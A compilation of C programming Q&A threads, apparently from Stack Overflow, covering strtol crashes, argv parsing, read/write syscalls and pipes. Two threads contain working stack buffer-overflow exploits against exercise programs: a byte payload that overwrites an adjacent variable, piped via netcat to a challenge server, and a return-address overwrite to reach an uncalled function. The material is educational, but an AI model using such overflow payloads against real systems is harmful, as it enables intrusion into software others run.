C: IF statement not firing when expected - c

I have the following function. The executable runs fine. At the prompt, after the program is run, I enter \x0037337331, the value of B is set as B: 0x31333337
Any advice on how I'd trigger to open log.txt
int play() {
int a;
int b;
char buffer[010];
a = 0x41414141;
b = 0x42424242;
if (write(STDOUT_FILENO, "For a moment, nothing happened. Then, after a second or so, nothing continued to happen.\n> ", 91) < 0) {
perror("write");
}
if (read(STDIN_FILENO, &buffer, 0xC) < 0) {
perror("read");
}
if (a == 31337) {
system(buffer);
}
else if (b == 1337) {
readfile("log.txt");
}
else {
printf("B: 0x%08x\n", b);
}
}

You have two mistakes:
Line:
char buffer[010]; // This is octal i.e. 8!
should be
char buffer[0xc];
Also
read(STDIN_FILENO, &buffer, 0xC)
should be
read(STDIN_FILENO, buffer, 0xC)
As you need the pointer to the start of the buffer.
EDIT
Also you need to add the null character to buffer before system.

since 1337 in decimal is 539 in hex, so just run following command in bash.
$ printf 'xxxxxxxx\x39\x05\x00\x00' | ./a.out
buffer has size of 010 which is 8 byte, so it will be filled with xxxxxxxx, and since b is allocated next to buffer in the stack, reading 0xC bytes into buffer will leak into b and it will fill with 0x39050000. Since most of the architecture is little endian, the value of b will be 0x00000539 which is 1337 in decimal.
Maybe how local variable is allocated in stack depends on compiler, architecture, or OS, but this seems the behavior of gcc-compiled binary on Linux OS x86 since 10 years ago.

Adding to the answer given by #ymonad
As it has to be done remotely, he has to netcat into port 1984. So this should be required answer.
printf 'xxxxxxxx\x39\x05\x00\x00' | netcat serverip 1984

Related

strtol resulting in a segmentation fault on the raspberry pi 3 b+

I have this problem that strtol doesn't work and results in my C program crashing. I am using a Raspberry Pi 3 b+ but that probably doesn't matter.
My program (which is a command line tool to control shift registers) uses strtol for parsing through the command line arguments the program gets.
Here's the output I get: fish: Job 2, “./a.out -p 16 -w 0xff” terminated by signal SIGSEGV (Addroundary error)
And here's the output on gdp:
Program received signal SIGSEGV, Segmentation fault.
__GI_____strtol_l_internal (
nptr=0x76f72968 <_nl_C_LC_CTYPE_toupper+512> "",
nptr#entry=0x7efff6e9 "16", endptr=0x7efff6e9,
base=<optimized out>, group=group#entry=0,
loc=0x76fa1c70 <_nl_global_locale>) at strtol_l.c:484
484 strtol_l.c: No such file or directory.
The following is the code:
else if(!strcmp(argv[arg], "-p") || !strcmp(argv[arg], "-pins")) {
if(argc <= arg+1)
return 1;
pins = strtol(argv[++arg], endptr, 0);
}
The command line argument parsing happens like so:
uint8_t arg, pins;
char **endptr;
uint64_t writeValue;
bool valueGiven; // The other bools that I define are irrelevant
for(arg = 1; arg < argc; arg++) {
if(!strcmp(argv[arg], "-w") || !strcmp(argv[arg], "-write")) {
if(argc <= arg+1)
return 1;
writeValue = strtol(argv[++arg], endptr, 0); // error happens here too
valueGiven = true;
}
else if(!strcmp(argv[arg], "-p") || !strcmp(argv[arg], "-pins")) {
if(argc <= arg+1)
return 1;
pins = strtol(argv[++arg], endptr, 0);
}
// There are more arguments but those are irrelevant
}
And I run the program like this: ./a.out -p 16 -w 0xFF
This error is very odd for the exact same thing worked before, could this be a case of data corruption?
Your char **endptr is uninitialized. It needs to point to a char * where the address of the first unconverted character will be stored. Instead, yours points nowhere, so strtol is going to try to write to whatever bogus memory location it points to, and very likely crash.
GCC and clang should both issue warnings about the uninitialized variable if you enable -Wall. Example. Always use compiler warnings, and don't ignore them!
Normally you would declare a char * variable and pass its address:
char *end;
strtol(argv[++arg], &end, 0);

Access to argv[1] blocks the program

I'm trying to get an ip address from the command line, so I prepared a simple parser. The problem is that the program seems to stop when I try to read from argv[i].
int main(int argc, char * argv[]){
unsigned char packet[1500];
int n,len,i,j;
unsigned char dstmac[6];
unsigned char targetip[4];
unsigned char * add;
unsigned char byte=0;
if(argc==2){
j=0;
i=0;
add = argv[1];
printf(">>%s<< \n",add);
fflush(stdout);
printf("%c ",add[1]);
fflush(stdout);
while(add[i]) {
printf("%c ",add[i]);
fflush(stdout);
if( add[i] != '.' )
byte = byte*10+(add[i]-48);
else{
targetip[j++] = byte;
byte=0;
}
i++;
}
targetip[j++]=byte;
}
else{
targetip[0]=88;
targetip[1]=80;
targetip[2]=187;
targetip[3]=50;
}
printf("TARGET IP: %d.%d.%d.%d",targetip[0],targetip[1],targetip[2],targetip[3]);
fflush(stdout);
struct eth_frame * eth;
struct ip_datagram * ip;
struct icmp_packet * icmp;
//etc.....
I really don't know why. Can you help me?
EDIT: update code with fflush(stdout)
ACTUAL OUTPUT:
1238166#localhost:~/ping$ gcc ping2.c -o np
1238166#localhost:~/ping$ ./np 216.58.205.67
>>216.58.205.67<<
1
2 1 6 . 5 8 . 2 0 5 . 6 7 TARGET IP: 216.58.205.67
now the programm blocks when it prints the "TARGET IP".
In the rest of the programm there is the pakcet initialization and exchange. I have already tested this part and it should work.
UPDATE: what I noticed is that the program now needs an ffflush(stdout) to go on, but before this was not necessary. If I run for example without arguments (the else clause), all works properly.
1238166#localhost:~/ping$ ./np
TARGET IP: 88.80.187.50destmac: f2(242) 3c(060) 91(145) 2c(044)
53(083) b7(183)
================
SENT PACKET:
f2(242) 3c(060) 91(145) 2c(044)
53(083) b7(183) ....
When I tried your program, it didn’t block. The program terminates.
However, the instructions printf("%c ",add[1]); and printf("%c ",add[i]); had no visible effect. This is because the character is buffered and not printed to the console. The buffered content is out put to the console when a fflush(stdout); is performed. Printf does this itself when there is a \n in the output string. The buffer content is also output to the console when the program terminates on Linux.
When I run your program with the argument 123.45.67.255, I get the single line output 2 1 2 3 . 4 5 . 6 7 . 2 5 5 TARGET IP: 123.45.67.255 which is what it is supposed to be.
The output you see is Windows specific.Apparently, on Windows the buffer content is not flushed when the program terminates. You must add a \n at the end of the format string of the last printf.
Note: modifying the question after the question is answered make the answer confusing.

Beginner Programming SO with System Call

I have to sum two number while first number is not equal to -1, and the numbers have just one digit.
I have to use read() and write().
#include <unistd.h>
#include <errno.h>
int main()
{ int Somma;
int One;
int Two;
do
{ write(1, "\nFirst Number: ", 15);
if(read(0, &One, sizeof(int)) == -1)
perror("Error First Read");
if(One != -1)
{ write(1, "Second Number: ", 15);
if(read(0, &Two, sizeof(int)) == -1)
perror("Error Second Read");
Somma = One + Two;
Somma -= 48;
write(1, "Sum: ", 5);
if(write(1, &Somma, sizeof(int)) == -1)
perror("Error Write");
}
}while(One != -1);
return 0;
}
Now, I have some problems. First of all, when One is equal to -1, the program continues into if statement...
The second one is that the last write(), print the number and a strange characters (a square with 0014 code into...).
What's wrong?
Thank you in advance
I guess you are on Linux or some POSIX system.
The read(2) & write(2) syscalls are reading bytes. On modern Linux systems the terminal is usually using UTF-8 encoded strings (which you might process using libunistring if you have to). For efficiency reasons, you should (manually) buffer the I/O, i.e. try to read or write in blocks of several kilobytes (typically 16Kbytes).
You should obviously handle the byte count (returned by these syscalls). Don't forget to handle error conditions (e.g. by displaying them with perror(3) then exit(EXIT_FAILURE);)
Your code is wrong, because sizeof(int) is often 4, and your call to read might read only 1,2, or 3 bytes (but very often, it would read 4 bytes). You have to handle buffering, and that is part of the exercise.
You could use sscanf(3) and snprintf(3) to make the string to int conversions and backwards. Don't forget the error cases.

Forcing a program to call a function in C with an input string

So I'm doing an exercise where I want to call the function void not_called() just by inputting a buffer. Basically what I want to do is use a buffer overflow to call not_called(). I'm approaching this by using a binary exploit string then using a program hex2raw (takes hex format then turns it into the ASCII for decimal digit.) I'm then going to put that binary exploit string into a .txt file, then use a series of pipes in the unix terminal to call not_called() like so:
cat exploit.txt | ./hex2raw | ./nameofpgrm
So what I'm struggling with is finding that binary exploit string. I think what I need to do is find the location in memory where not_called is called with an objdump, but I'm not sure. Any help on what I can do? I know I'm going to have to use gdb to find it. I just don't really know where to look.
#include <stdlib.h>
#include <stdio.h>
void echo();
/* Main program */
int main() {
while (1)
echo();
return(0); // never called
} // main
/* My gets -- just like gets - Get a string from stdin */
char *mygets(char *dest) {
int c = getchar();
char *p = dest;
while (c != EOF && c != '\n') {
*p++ = c;
c = getchar();
}
*p = '\0';
return dest;
} // mygets
/* Echo Line */
void echo() {
char buf[4]; /* Way too small */
mygets(buf);
puts(buf);
} // echo
void not_called() {
printf("This routine is never called\n");
printf("If you see this message, something bad has happend\n");
exit(0);
} // not_called
You want to overwrite the return address from the function echo with bytes read from stdin so that is now points to not_called entry point.
Let's use for example Mac OS/X 10.10 aka Yosemite. I simplified the code and added an extra printf to get the actual address of the function not_called:
#include <stdlib.h>
#include <stdio.h>
void echo(void) {
char buf[4]; /* Way too small */
gets(buf);
puts(buf);
}
void not_called(void) {
printf("This routine is never called\n");
printf("If you see this message, something bad has happened\n");
exit(0);
}
int main(void) {
printf("not_called is at address %p\n", not_called);
echo();
}
Let's compile and execute this code using clang:
chqrlie> clang t20.c && ./a.out
The output is quite clear:
not_called is at address 0x106dade50
warning: this program uses gets(), which is unsafe.
Using a hex editor, let's coin the input and paste it to the console: the short buffer buf aligned on 64 bits, 8 bytes below the saved copy of the stack frame pointer rbp, itself followed by the return address we want to overwrite. The input in hex is for example:
0000 3031 3233 3435 3637-3839 3031 3233 3435 0123456789012345
0010 50de da06 0100 0000- P��.....
Let's paste these 24 bytes to the console and hit enter:
0123456789012345P��^F^A^#^#^#
0123456789012345P��^F^A
This routine is never called
If you see this message, something bad has happened
Segmentation fault: 11
Function echo uses gets to read stdin, the 24 bytes are stored beyond the end of buf, overwriting the frame pointer rbp, the return address, and an extra 0 byte. echo then calls puts to output the string in buf. Output stops at the first "'\0'" as expected. rbp is then restored from the stack and gets a corrupt value, control is transferred to the return address. The return address was overwritten with that of function not_called, so that's what gets executed next. Indeed we see the message from function not_called and for some reason exit crashes instead of exiting the process gracefully.
I used gets on purpose so readers understand how easy it to cause buffer overflows with this function. No matter how big the buffer, input can be coined to crash the program or make it do interesting things.
Another interesting find is how Mac OS/X tries to prevent attackers from using this trick too easily: the address printed by the program varies from one execution to the next:
chqrlie > ./a.out < /dev/null
not_called is at address 0x101db8e50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x10af4ae50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x102a46e50
warning: this program uses gets(), which is unsafe.
The code is loaded at a different address each time, chosen randomly.
The input required to make function echo return to not_called is different each time. Try your own OS and check if it uses this trick. Try coining the appropriate input to get the job done (it depends on your compiler and your system). Have fun!

Error Reading from a Pipe

void turtle (int gtot)
{
int msg;
fcntl(gtot,F_SETFL,O_NONBLOCK);
read(gtot,&msg,4);
gotoxy(12, 21); printf("The value of buffer for turtle is %d",msg);
//react to god's message
xcoor += msg;
msg = 0;
sleep(sleep_time);
}
void god (int gtot )
{
char choice, sign;
int distance;
scanf("%c",&choice);
//choice = getchar();
gotoxy(1,18);
printf("Enter the distance which should be moved");
fflush(stdout);
gotoxy(50, 14);
scanf ("%d", &distance);
int newd = distance;
//printf ("The distance that is to be moved by %d", distance);
if (choice == 'h')
{
write(gtoh,&distance,4);
}
else if (choice == 't')
{
write(gtot,&newd,4);
gotoxy(12,23);
printf("I am writing %d as the number", distance);
fflush(stdout);
}
//printf("You chose %s", &choice);
sleep(sleep_time);
}
main(){
int gtot[2];
pipe (gtot);
pid_turtle = fork ();
if (pid_turtle == 0)
{
close (gtot[1]);
turtle (gtot[0]);
}
pid_god = fork ();
if (pid_god == 0)
{
close (gtot[0]);
god (gtot[1]);
}
}
When I write from the pipe from God function to the Turtle function. I expect it to return nothing when the user gives no input and the numbers when the user gives any. But the printf statement is printing outputs like
The value of buffer for turtle is 0106368
The value of buffer for turtle is 05291328
Which seems to me like the memory address of the number. What is the error that I am making in the program.
Several observations about your program:
In function turtle:
You do not initialize the variable msg.
You set the gtot file descriptor for O_NONBLOCK.
BUT you do not check the return value of read.
This is a significant problem. read is returning immediately and you are printing the uninitialized value of msg.
The way you fork and close is also contributing. You have closed gtot[1] prior to fork-ing the "god" process. If you choose to use this one-parent of two-child-processes approach, don't close the file handles until you are done fork-ing.
Also, it appears that you intended for at least the turtle function, and probably the god function, to loop. As written, your turtle function will immediately exit: it has no loop and it performs read with the O_NONBLOCK flag set.
But wait, there is more. When you do call fcntl to set O_NONBLOCK, what you are doing is also resetting every flag other than O_NONBLOCK. Here is a function taken from the libc documentation which handles the other flags while setting or resetting the non-blocking flag:
/* Set the O_NONBLOCK flag of desc if value is nonzero,
or clear the flag if value is 0.
Return 0 on success, or -1 on error with errno set. */
int
set_nonblock_flag (int desc, int value)
{
int oldflags = fcntl (desc, F_GETFL, 0);
/* If reading the flags failed, return error indication now. */
if (oldflags == -1)
return -1;
/* Set just the flag we want to set. */
if (value != 0)
oldflags |= O_NONBLOCK;
else
oldflags &= ~O_NONBLOCK;
/* Store modified flag word in the descriptor. */
return fcntl (desc, F_SETFL, oldflags);
}
There are some other things which could also be contributing to your problem:
It would be best to replace every occurence of "4" with sizeof(int) wherever you are calling read and write. It is possible that integers are 8 bytes on your machine (64 bit integer?), although pretty unlikely. In the future, it is more likely that int would be 8 bytes, and your code is very fragile in this regard.
There is also something "Strange" about your program that I am observing:
Why is the decimal output from printf being prefixed with a leading 0 (zero)? That would be an octal representation, but the printf specifier is not "%o". "%d" should not show leading zeros unless you use a width-specifier with a leading zero, a la "%08d". So I don't know what to make about that.
you dont want to call fork twice.
You also dont want to close the unused ends of the pipe:)
If this is Linux try using strace to see the exact data being written to the pipes.
If this is Solaris or Mac OS X try dtrace or dtruss.
On BSD I believe the command to view system calls is just truss.
These are very useful commands.

Resources